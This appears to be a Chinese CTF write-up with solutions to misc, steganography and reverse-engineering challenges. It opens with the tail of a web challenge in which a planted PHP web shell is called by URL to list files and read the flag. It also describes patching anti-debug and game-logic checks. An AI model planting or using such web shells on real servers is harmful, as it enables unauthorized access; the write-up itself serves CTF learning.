执行生成的shell为:/var/www/html/You_Cant_Gu3ss/web/assets/a.php?a=ls
获取flag 通过shell查找到根目录flag 为fffffffffffffffff1sHere

Misc

Quotes

统计空格间的字符个数

import string
l1="My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w ith+s  ome+pass i on+some+compass ion+so me+humor+and+some+style".split(' ')
l2 = [len(i) - i.count('+') for i in l1]
cs = [string.ascii_lowercase[i-1] if i > 0 else ' ' for i in l2]
print(''.join(cs)) # flag

Traffic Light

题目是一个Gif文件,明显看到红绿交替闪烁,8次之后会有一次黄灯闪烁,于是想到01编码,黄灯是分割。
先把gif每一帧都提取出来,用python的PIL库可以方便提取

from PIL import Image
import os

gifFile = 'Traffic_Light.gif'
im = Image.open(gifFile)
pngDir = gifFile[:-4]
os.mkdir(pngDir)

try:
    while True:
        current = im.tell()
        im.save(pngDir + '/' + str(current) + '.png')
        im.seek(current + 1)
except EOFError:
pass

为了之后更好的识别颜色,顺便做一个剪切

def cut(idx):
    fileName = './Traffic_Light/' + str(idx) + '.png'
    im = Image.open(fileName)
    x = 90
    y = 30
    w = 45
    h = 140
    region = im.crop((x, y, x+w, y+h))
    newFileName ='./Traffic_Light/' + str(idx) + '_modify.png'
    region.save(newFileName)

可以得到这样的图像

由于颜色比较简单,可以直接用识别图片主色调来进行颜色的区分,识别颜色,分别对应01分隔符。

def get_dominant_color(idx):
    fileName = './Traffic_Light/' + str(idx) + '_modify.png'
    image = Image.open(fileName)
    image = image.convert('RGBA')
    image.thumbnail((200, 200))
    max_score = 0
    dominant_color = 0
    for count, (r, g, b, a) in image.getcolors(image.size[0] * image.size[1]):
        # 跳过纯黑色
        if a == 0:
            continue
        saturation = colorsys.rgb_to_hsv(r / 255.0, g / 255.0, b / 255.0)[1]
        y = min(abs(r * 2104 + g * 4130 + b * 802 + 4096 + 131072) >> 13, 235)
        y = (y - 16.0) / (235 - 16)
        # 忽略高亮色
        if y > 0.9:
            continue
        score = (saturation + 0.1) * count
        if score > max_score:
            max_score = score
            dominant_color = (r, g, b)
    #print r, g, b
    if r == 61 :
        #print 'green'
        return 'green'
    elif r == 103:
        #print "red"
        return 'red'
    elif r == 255:
        #print "===================== split ========================"
        return 'yellow'

最后把01串转为可见字符

GreatWall

用stegsolve打开图片,发现rgb的lsb里都有点东西,顺序改成bgr发现了jpg的头,于是提取出来,删掉前几个没用的byte,打开图片,发现一堆长短杠和+。猜测+是分隔符,长短杠分别是二进制的1和0,转换一下果然得到flag:

l=['1010011','1110100','110011','1100111','110100','1101110','110000','1100111','1110010','110100','1110000','1101000','1111001','1011111','110001','1110011','1011111','110001','1101110','1110100','110011','1110010','110011','1110011','1110100','110001','1101110','1100111']
s=''
for i in l:
    s+=chr((int(i,2)))
#St3g4n0gr4phy_1s_1nt3r3st1ng

Re

Bad Block

首先patch掉两个反调函数,然后后面一堆block、god block什么的逻辑逆了会发现都没有用,直接从cin开始看,首先对输入做了4轮异或,然后送进一个vm。分析vm代码,就是对输入的每一位异或了(36+i) * 2,然后与一个值比较。直接实现逆过程即可还原flag。

s=[
0x002E, 0x0026, 0x002D, 0x0029, 0x004D, 0x0067, 0x0005, 0x0044,
0x001A, 0x000E, 0x007F, 0x007F, 0x007D, 0x0065, 0x0077, 0x0024,
0x001A, 0x005D, 0x0033, 0x0051]
s2=[]
for i in range(20):
    s2.append(s[i] ^ ((36+i)*2) )
for i in range(4):
    for j in range(19,0,-1):
        s2[j] ^= s2[j-1]
print ''.join(map(chr, s2) )

Happy

放到IDA里看一看,发现解不出来,判断是加了壳。考虑动态跑一下dump内存来脱壳。
Dump出来之后用IDA重新打开,手动c一下把数据转换成代码


一边看反编译结果一边动态调试,程序在输入追加了“hh”。有一个base64,解不出来,先不管,继续往下动态调,发现有一个写死的key,然后进行了一些加密操作,和指定Byte对比check,稍微看了一下,根据一些常数,猜是不是DES加密,写代码尝试一下,果然解出flag

>>> s=[0x27,0x42,0xAC,0xA6,0x4B,0x90,0xA4,0x7D,0x47,0x40,0xCC,0x45, 0x7F,0xA1,0x2C,0xBC,0x83,0x52,0x5E,0x51,0x60,0xF9,0xEE,0x4F,0x3D,0x68,0xDD,
0xDE,0xE8,0x74,0xFA,0x1A,0x53,0x22,0x5B,0x13,0xC7,0xE5,0x7A,0x5E,0x58,0x80, 0xB0,0x65,0x99,0xF1,0x5B,0x4F]
>>> key='hAppysad'
>>> from Crypto.Cipher import DES
>>> des=DES.new(key,DES.MODE_ECB)
>>> s=map(chr,s)
>>> s
["'", 'B', '\xac', '\xa6', 'K', '\x90', '\xa4', '}', 'G', '@', '\xcc', 'E', '\x7f', '\xa1', ',', '\xbc', '\x83', 'R', '^', 'Q', '`', '\xf9', '\xee', 'O', '=', 'h', '\xdd', '\xde', '\xe8', 't', '\xfa', '\x1a', 'S', '"', '[', '\x13', '\xc7', '\xe5', 'z', '^', 'X', '\x80', '\xb0', 'e', '\x99', '\xf1', '[', 'O']
>>> s="".join(s)
>>> s
'\'B\xac\xa6K\x90\xa4}G@\xccE\x7f\xa1,\xbc\x83R^Q`\xf9\xeeO=h\xdd\xde\xe8t\xfa\x1aS"[\x13\xc7\xe5z^X\x80\xb0e\x99\xf1[O'
>>> des.decrypt(s)
'flag{If_u_kn0w_bas364_aNd_d3S_u_Wil1_be_happY}hh'

Ctopia

一个游戏题,主函数中可以明显看到0%,25%,50%,75%等字符串,猜测要打通几关才能拿flag。玩了一会发现有的怪打不动,于是patch程序,把enemy::die的条件从血<=0改成>=0,然后运行游戏发现怪物都不见了23333,只有掉落的战利品。然后一路向上走就可以通关,每过一关会向secret里写4个byte的密钥,最终应该是16个byte的aes密钥。通关后要去什么爱琴海,但一直触发不了,看了下secret已经完整解出来了。重新看了下函数,发现最后打印flag需要一个end变量为1,于是patch掉再重启游戏,直接start即可得到flag:

源链接

Hacking more

...